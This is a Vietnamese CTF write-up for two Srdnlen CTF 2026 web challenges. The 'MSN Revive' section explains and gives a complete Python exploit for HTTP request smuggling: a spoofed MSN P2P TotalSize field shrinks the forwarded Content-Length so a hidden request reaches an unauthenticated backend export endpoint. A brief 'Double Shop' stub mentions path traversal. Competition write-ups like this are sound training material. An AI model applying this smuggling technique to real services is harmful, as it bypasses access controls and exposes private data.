Writeup Srdnlen CTF 2026 Quals [WEB]

MSN Revive

Ở gateway, route /api/chat/event tự sửa Content-Length dựa vào field nhị phân TotalSize do client điều khiển trong body MSN P2P.

Backend đọc đủ số byte theo Content-Length nhỏ đó, còn phần dư bị coi là request HTTP tiếp theo trên cùng kết nối keep-alive.

Request “smuggled” đó gọi thẳng /api/export/chat ở backend.

Check “local access only” chỉ nằm ở gateway, nên request smuggled đi backend sẽ bypass được.

Endpoint export ở backend lại không cần login, từ đó đọc được chat chứa flag.

Solve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import re                                                                                                                                                     
import struct
import requests

BASE = "http://msnrevive.challs.srdnlen.it/"

sid = "00000000-0000-0000-0000-000000000000"
json_body = f'{{"session_id":"{sid}","format":"xml"}}'

smuggled = (
"POST /api/export/chat HTTP/1.1\r\n"
"Host: backend\r\n"
"Content-Type: application/json\r\n"
f"Content-Length: {len(json_body)}\r\n"
"Connection: keep-alive\r\n"
"\r\n"
f"{json_body}"
).encode()

hdr = bytearray(48) # fake MSN P2P header
struct.pack_into("<Q", hdr, 16, 0) # TotalSize=0 => forwarded CL=48

body = bytes(hdr) + smuggled

s = requests.Session()

for _ in range(50):
s.post(
f"{BASE}/api/chat/event",
data=body,
headers={"Content-Type": "application/x-msnmsgrp2p"},
timeout=5,
)

# pull poisoned backend response from connection pool
r = s.get(f"{BASE}/api/me", timeout=5)
m = re.search(r"srdnlen\{[^}]+\}", r.text)
if m:
print("FLAG:", m.group(0))
break

Double Shop

App này có chức năng download receipt

Path traversal

receipt.png

……